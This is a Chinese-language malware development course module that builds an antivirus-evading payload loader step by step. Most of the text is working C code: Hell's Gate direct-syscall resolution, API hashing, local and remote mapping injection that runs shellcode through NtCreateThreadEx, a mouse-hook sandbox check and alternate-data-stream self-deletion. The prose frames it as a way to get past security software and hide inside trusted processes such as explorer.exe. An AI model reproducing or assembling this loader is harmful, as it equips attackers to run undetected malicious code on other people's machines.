模块 81 - 规避 AV(反病毒软件)
恶意软件开发课程 - 规避 AV(反病毒软件)
模块 81 - 规避 AV(反病毒软件)#
规避 AV(反病毒软件)#
简介#
到目前为止,我们已经演示了许多创建和执行 Payload(有效载荷)加载器的方法和技术,这些加载器可以规避各种安全软件程序。本模块将从头开始构建一个功能丰富的 Payload 加载器,以巩固前面模块所学的内容。
💡 初学者提示:为什么要构建一个“全能型”加载器?
类比理解: 想象你正在准备一场秘密潜入任务。
- 在之前的模块里,我们单独学习了如何翻墙(直接系统调用)、如何伪装(API Hashing)、如何加密文件(RC4)。
- 本模块:我们将把这些“单项技能”整合在一起,打造一套功能齐全的间谍装备包。这是一个综合练习,旨在让你理解如何将这些互补的技术有机地结合起来,构建一个能在现实复杂防御环境下生存的工具。
建议你创建一个空的 Visual Studio 项目,跟随本模块一起动手操作。
Payload 加载器功能清单#
我们实现的这个 Payload 加载器将具备以下功能:
- 远程代码注入支持:能够将代码注入到其他进程中。
- Mapping 注入:利用 Hell’s Gate 实现的 Direct Syscalls(直接系统调用) 进行映射注入。
- API Hashing:隐藏静态导入表特征。
- 反分析功能 (Anti-Analysis):检测沙箱与调试器。
- RC4 Payload 加密:保护 Shellcode(外壳代码)不被静态扫描。
- 密钥暴力破解 (Brute-forcing):动态找回解密密钥,对抗自动化分析。
- 移除 CRT 库:减小体积并改变二进制足迹。
Hell’s Gate 环境搭建#
此加载器利用通过 Hell’s Gate 获取的 Direct Syscalls(直接系统调用)进行 Payload 注入。首先,必须创建 Structs.h、HellsGate.c 和 HellAsm.asm 文件。这些文件包含了执行直接系统调用所需的必要函数。Structs.h 文件用于保存 Windows 未公开结构,并包含在后续的 C 文件中。它包含 PEB、TEB 等结构定义,这些是实现 Hell’s Gate 所必不可少的。
HellAsm.asm 文件将与 代码仓库 ↗ 中的文件相同。至于 HellsGate.c,它将包含以下函数。
📚 知识扩展:Hell’s Gate 的核心原理
Hell’s Gate(地狱之门)技术通过动态解析
ntdll.dll的导出表,在内存中搜索特殊的汇编指令(如mov eax, <SSN>),从而在不依赖固定版本号的情况下提取系统调用号(SSN)。这使得恶意软件可以绕过 EDR 在用户态 API 上设置的钩子。
HellsGate.c
#include <Windows.h>
#include "Structs.h"
// 获取当前线程的环境块 (TEB)
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
// 在 x64 下,TEB 存储在 GS 寄存器偏移 0x30 处
return (PTEB)__readgsqword(0x30);
#else
// 在 x86 下,TEB 存储在 FS 寄存器偏移 0x16 处
return (PTEB)__readfsdword(0x16);
#endif
}
// 获取映像目录中的导出目录 (EAT)
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// 获取 DOS 头
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
// 获取 NT 头
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
// 获取 EAT(导出地址表)
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return TRUE;
}
// 获取 VxTable 条目(搜索特定哈希的函数并提取系统调用号)
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
// 比较哈希值
if (djb2(pczFunctionName) == pVxTableEntry->uHash) {
pVxTableEntry->pAddress = pFunctionAddress;
// 提取系统调用号 (SSN) 的逻辑
WORD cw = 0;
while (TRUE) {
// 检查是否到达 syscall 指令 (0x0F, 0x05),若是则说明搜索范围过大
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
// 检查是否到达 ret 指令 (0xC3)
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
// 搜索系统调用的特征操作码:
// MOV R10, RCX -> 4C 8B D1
// MOV EAX, <syscall_number> -> B8 ...
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
// 提取小端序的系统调用号
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
cw++;
};
}
}
if (pVxTableEntry->wSystemCall != NULL)
return TRUE;
else
return FALSE;
}c上面的代码还没有定义 VX_TABLE_ENTRY 结构或 djb2 函数。为了解决这个问题,我们将创建两个新文件:WinApi.c 和 Common.h。
WinApi.c:此文件用于存储 CRT 库替代函数以及 Hell’s Gate 和 API Hashing 实现中使用的字符串哈希函数。Common.h:此文件提供公共函数原型(以便跨文件调用)、自定义结构定义、Syscall(系统调用)的哈希值以及 WinAPIs。
原有的 djb2 字符串哈希函数将被 HashStringJenkinsOneAtATime32BitA/W 函数替换,从而改变了 Hell’s Gate 中原始使用的哈希算法。
WinApi.c
#include <Windows.h>
#include "Structs.h"
#include "Common.h"
// Jenkins One-At-A-Time 哈希算法 (ANSI 版本)
UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String)
{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenA(String);
while (Index != Length)
{
Hash += String[Index++];
Hash += Hash << INITIAL_SEED; // 使用初始种子进行位移
Hash ^= Hash >> 6;
}
Hash += Hash << 3;
Hash ^= Hash >> 11;
Hash += Hash << 15;
return Hash;
}
// Jenkins One-At-A-Time 哈希算法 (Unicode 版本)
UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String)
{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenW(String);
while (Index != Length)
{
Hash += String[Index++];
Hash += Hash << INITIAL_SEED;
Hash ^= Hash >> 6;
}
Hash += Hash << 3;
Hash ^= Hash >> 11;
Hash += Hash << 15;
return Hash;
}cCommon.h
#pragma once
#include <Windows.h>
// 'WinApi.c' 中哈希函数的初始种子
#define INITIAL_SEED 8
UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String);
UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String);
// 辅助宏,通过函数名获取哈希值
#define HASHA(API) (HashStringJenkinsOneAtATime32BitA((PCHAR) API))
#define HASHW(API) (HashStringJenkinsOneAtATime32BitW((PWCHAR) API))
// 'HellsGate.c' 中定义的函数原型
PTEB RtlGetThreadEnvironmentBlock();
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory);
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry);
// 'HellAsm.asm' 中定义的导出函数
extern VOID HellsGate(WORD wSystemCall);
extern HellDescent();c在 Common.h 文件中定义 VX_TABLE_ENTRY,然后更新 HellsGate.c 文件以包含它并使用 HASHA 代替 djb2。
VX_TABLE_ENTRY 结构定义
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress; // 函数在内存中的地址
UINT32 uHash; // 函数名的哈希值
WORD wSystemCall; // 提取出的系统调用号 (SSN)
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;c计算 Syscall(系统调用)哈希值#
必须创建一个新项目用于计算所使用的 Syscall(系统调用)的哈希值,并将其打印到控制台。Hasher(哈希计算器)项目将包含一个如下所示的 C 文件。
Hasher.c
#include <Windows.h>
#include <stdio.h>
#define STR "_JOAA" // 标识哈希算法的后缀
#define INITIAL_SEED 8
// 同上的哈希函数实现...
UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String) { /* 省略 */ }
int main() {
// 计算并打印各个核心导出函数的哈希值
printf("#define %s%s \t0x%0.8X \n", "NtCreateSection", STR, HashStringJenkinsOneAtATime32BitA("NtCreateSection"));
printf("#define %s%s \t0x%0.8X \n", "NtMapViewOfSection", STR, HashStringJenkinsOneAtATime32BitA("NtMapViewOfSection"));
printf("#define %s%s \t0x%0.8X \n", "NtUnmapViewOfSection", STR, HashStringJenkinsOneAtATime32BitA("NtUnmapViewOfSection"));
printf("#define %s%s \t0x%0.8X \n", "NtClose", STR, HashStringJenkinsOneAtATime32BitA("NtClose"));
printf("#define %s%s \t0x%0.8X \n", "NtCreateThreadEx", STR, HashStringJenkinsOneAtATime32BitA("NtCreateThreadEx"));
printf("#define %s%s \t0x%0.8X \n", "NtWaitForSingleObject", STR, HashStringJenkinsOneAtATime32BitA("NtWaitForSingleObject"));
return 0;
}cHasher 运行结果#
编译并运行后,程序将生成如下结果,应将其复制到 Common.h 文件中。

此外,必须更新 VX_TABLE 结构定义,以包含将要使用的 Syscall(系统调用)。
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtCreateSection;
VX_TABLE_ENTRY NtMapViewOfSection;
VX_TABLE_ENTRY NtUnmapViewOfSection;
VX_TABLE_ENTRY NtClose;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;c利用 Hell’s Gate 进行 Payload 注入#
Hell’s Gate 设置成功后,即可实现 Payload 注入。我们将创建一个新文件 Inject.c,如下所示。
Inject.c 文件的要点说明:
InitializeSyscalls:此函数初始化全局变量g_Sys(类型为VX_TABLE),供后续使用。RemoteMappingInjectionViaSyscalls:此函数通过bLocal参数同时支持本地和远程映射注入。- 若
bLocal为TRUE,则dwLocalFlag设置为PAGE_EXECUTE_READWRITE以适应本地执行,并跳过第二次NtMapViewOfSection。 - 若
bLocal为FALSE,则dwLocalFlag保持PAGE_READWRITE,并调用第二次NtMapViewOfSection在远程进程中分配空间。 pExecAddress用于保存注入 Payload 的基地址,最终传递给NtCreateThreadEx执行。
- 若
Inject.c
#include <Windows.h>
#include <stdio.h>
#include "Structs.h"
#include "Common.h"
// 全局 Syscall 表结构体
VX_TABLE g_Sys = { 0 };
// 初始化系统调用表
BOOL InitializeSyscalls() {
// 获取 PEB(进程环境块)
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) // 确保为 Win10+
return FALSE;
// 获取 NTDLL 模块在内存中的位置 (InOrderModuleList 的第二个条目)
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
// 获取 NTDLL 的导出目录 (EAT)
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return FALSE;
// 设置各个函数的哈希值目标
g_Sys.NtCreateSection.uHash = NtCreateSection_JOAA;
g_Sys.NtMapViewOfSection.uHash = NtMapViewOfSection_JOAA;
g_Sys.NtUnmapViewOfSection.uHash = NtUnmapViewOfSection_JOAA;
g_Sys.NtClose.uHash = NtClose_JOAA;
g_Sys.NtCreateThreadEx.uHash = NtCreateThreadEx_JOAA;
g_Sys.NtWaitForSingleObject.uHash = NtWaitForSingleObject_JOAA;
// 通过 Hell's Gate 初始化各个系统调用号
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtCreateSection))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtMapViewOfSection))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtUnmapViewOfSection))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtClose))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtCreateThreadEx))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtWaitForSingleObject))
return FALSE;
return TRUE;
}
// 利用系统调用执行远程/本地映射注入
BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize, IN BOOL bLocal) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pLocalAddress = NULL,
pRemoteAddress = NULL,
pExecAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = { .HighPart = 0, .LowPart = sPayloadSize };
DWORD dwLocalFlag = PAGE_READWRITE;
// 1. 创建内存节 (Section)
HellsGate(g_Sys.NtCreateSection.wSystemCall);
if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection 失败,状态码 : 0x%0.8X \n", STATUS);
return FALSE;
}
if (bLocal) {
dwLocalFlag = PAGE_EXECUTE_READWRITE;
}
// 2. 将节映射到本地进程视图
HellsGate(g_Sys.NtMapViewOfSection.wSystemCall);
if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, dwLocalFlag)) != 0) {
printf("[!] NtMapViewOfSection [本地] 失败,状态码 : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] 本地内存已分配于 : 0x%p ,大小 : %d \n", pLocalAddress, (int)sViewSize);
// 3. 写入 Payload 到本地映射
printf("[#] 按 <Enter> 键开始写入 Payload ... ");
getchar();
memcpy(pLocalAddress, pPayload, sPayloadSize);
printf("\t[+] Payload 已从 0x%p 复制到 0x%p \n", pPayload, pLocalAddress);
// 4. 若是远程注入,将其也映射到远程进程
if (!bLocal) {
HellsGate(g_Sys.NtMapViewOfSection.wSystemCall);
if ((STATUS = HellDescent(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [远程] 失败,状态码 : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] 远程内存已分配于 : 0x%p ,大小 : %d \n", pRemoteAddress, (int)sViewSize);
}
// 5. 执行 Payload - 创建新线程
pExecAddress = bLocal ? pLocalAddress : pRemoteAddress;
printf("[#] 按 <Enter> 键运行 Payload ... ");
getchar();
printf("\t[i] 正在主入口 0x%p 运行线程 ... ", pExecAddress);
HellsGate(g_Sys.NtCreateThreadEx.wSystemCall);
if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pExecAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx 失败,状态码 : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[OK] \n");
printf("\t[+] 线程已创建,ID : %d \n", GetThreadId(hThread));
// 6. 等待并清理
HellsGate(g_Sys.NtWaitForSingleObject.wSystemCall);
HellDescent(hThread, FALSE, NULL);
HellsGate(g_Sys.NtUnmapViewOfSection.wSystemCall);
HellDescent((HANDLE)-1, pLocalAddress);
HellsGate(g_Sys.NtClose.wSystemCall);
HellDescent(hSection);
return TRUE;
}c进程枚举#
为了创建一个完整的进程注入模块,需要使用 NtQuerySystemInformation 系统来获取目标进程句柄(正如在 Process Enumeration - NtQuerySystemInformation 模块中所述)。
💡 初学者提示:为什么要用底层系统调用进行进程枚举?
通常我们可以用
CreateToolhelp32Snapshot来查找进程。但在高级规避场景中,杀软会密切监控这类“高阶”进程管理函数。通过直接调用NtQuerySystemInformation,我们绕过了这些监控点,隐蔽地获取系统中所有活跃进程的列表。
入口函数 (main.c)#
最后,通过 main 函数整合所有功能。
反分析功能 (Anti-Analysis)#
为了增强加载器的隐蔽性,我们创建了一个名为 AntiAnalysis.c 的新文件。该文件包含了以下功能:
- 自删除功能:源自 Anti-Debugging - Self-Deletion 模块。
- 鼠标点击监控:源自 Anti-Virtual Environments - Multiple Techniques 模块,用于检测自动化沙箱环境。
- 延迟执行:使用
NtDelayExecution实现,源自 Anti-Virtual Environments - Multiple Delay Execution Techniques 模块。
💡 初学者提示:为什么键盘/鼠标监控能预防虚拟机?
类比理解: 许多自动分析沙箱就像是一个无人驾驶的汽车测试场。虽然汽车在跑,但里面没有真实的司机。
- 我们的策略:程序在运行前先“观察”有没有人动过鼠标(点击)。如果是真实的物理机器,用户迟早会点击。如果是沙箱,往往只有机械的点击甚至完全没有模拟点击。通过“数点击次数”,我们可以分辨出对面是真实的用户,还是冷冰冰的代码。
AntiAnalysis.c
#include <Windows.h>
#include <stdio.h>
#include "Structs.h"
#include "Common.h"
// 全局勾子句柄
HHOOK g_hMouseHook = NULL;
// 全局鼠标点击计数器
DWORD g_dwMouseClicks = NULL;
// 鼠标勾子回调函数:每当用户点击鼠标时执行
LRESULT CALLBACK HookEvent(int nCode, WPARAM wParam, LPARAM lParam) {
// 记录左键、右键或中键点击
if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN || wParam == WM_MBUTTONDOWN) {
printf("[+] 记录到一次鼠标点击 \n");
g_dwMouseClicks++;
}
return CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
}
// 启动鼠标点击监控循环
BOOL MouseClicksLogger() {
MSG Msg = { 0 };
// 安装低级鼠标钩子 (WH_MOUSE_LL)
g_hMouseHook = SetWindowsHookExW(
WH_MOUSE_LL,
(HOOKPROC)HookEvent,
NULL,
NULL
);
if (!g_hMouseHook) {
printf("[!] SetWindowsHookExW 失败,错误代码 : %d \n", GetLastError());
}
// 消息泵:处理未处理的事件(必须保留此循环,否则钩子无法工作)
while (GetMessageW(&Msg, NULL, NULL, NULL)) {
DefWindowProcW(Msg.hwnd, Msg.message, Msg.wParam, Msg.lParam);
}
return TRUE;
}
// 文件自删除实现
BOOL DeleteSelf() {
WCHAR szPath[MAX_PATH * 2] = { 0 };
FILE_DISPOSITION_INFO Delete = { 0 };
HANDLE hFile = INVALID_HANDLE_VALUE;
PFILE_RENAME_INFO pRename = NULL;
// 使用备用数据流 (ADS) 技巧
const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;
SIZE_T sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);
// 为 'FILE_RENAME_INFO' 结构分配缓冲区
pRename = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);
if (!pRename) {
printf("[!] HeapAlloc 失败,错误代码 : %d \n", GetLastError());
return FALSE;
}
ZeroMemory(szPath, sizeof(szPath));
ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));
// 标记文件为“待删除”
Delete.DeleteFile = TRUE;
// 设置新数据流名称
pRename->FileNameLength = sizeof(NewStream);
RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));
// 获取当前执行文件的完整路径
if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
printf("[!] GetModuleFileNameW 失败,错误代码 : %d \n", GetLastError());
return FALSE;
}
// 1. 重命名阶段:将主数据流重命名为备用数据流
hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW [重命名阶段] 失败,错误代码 : %d \n", GetLastError());
return FALSE;
}
wprintf(L"[i] 正在将 :$DATA 重新命名为 %s ...", NEW_STREAM);
if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
printf("[!] SetFileInformationByHandle [重命名] 失败,错误代码 : %d \n", GetLastError());
return FALSE;
}
wprintf(L"[OK] \n");
CloseHandle(hFile);
// 2. 删除阶段:打开句柄并设置删除位
hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
// 处理文件可能已被删除的情况
if (hFile == INVALID_HANDLE_VALUE && GetLastError() == ERROR_FILE_NOT_FOUND) {
return TRUE;
}
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW [删除阶段] 失败,错误代码 : %d \n", GetLastError());
return FALSE;
}
wprintf(L"[i] 正在执行删除操作 ...");
if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {
printf("[!] SetFileInformationByHandle [删除] 失败,错误代码 : %d \n", GetLastError());
return FALSE;
}
wprintf(L"[OK] \n");
CloseHandle(hFile);
HeapFree(GetProcessHeap(), 0, pRename);
return TRUE;
}c加载器运行结果#
远程代码注入演示#


本地代码注入演示#


📚 知识扩展:为什么要区分本地和远程注入?
- 本地注入:代码在加载器自身的进程内运行。即使加载器崩溃,也不会影响系统其他部分,且权限与加载器一致,隐蔽性较高(因为没有跨进程行为)。
- 远程注入:将代码注入到系统常见进程(如
notepad.exe或explorer.exe)。这样做的好处是即便加载器进程结束,恶意逻辑仍在后台运行,且可以借助受信任进程的身份建立网络连接,绕过简单的防火墙规则。
总结#
本模块通过整合 Direct Syscalls、API Hashing、反分析及精准的内存管理,展示了如何构建一个现代化的、具备高度规避能力的 Payload 加载器。这些技术的叠加应用,显著提高了穿透防线并成功执行代码的成功率。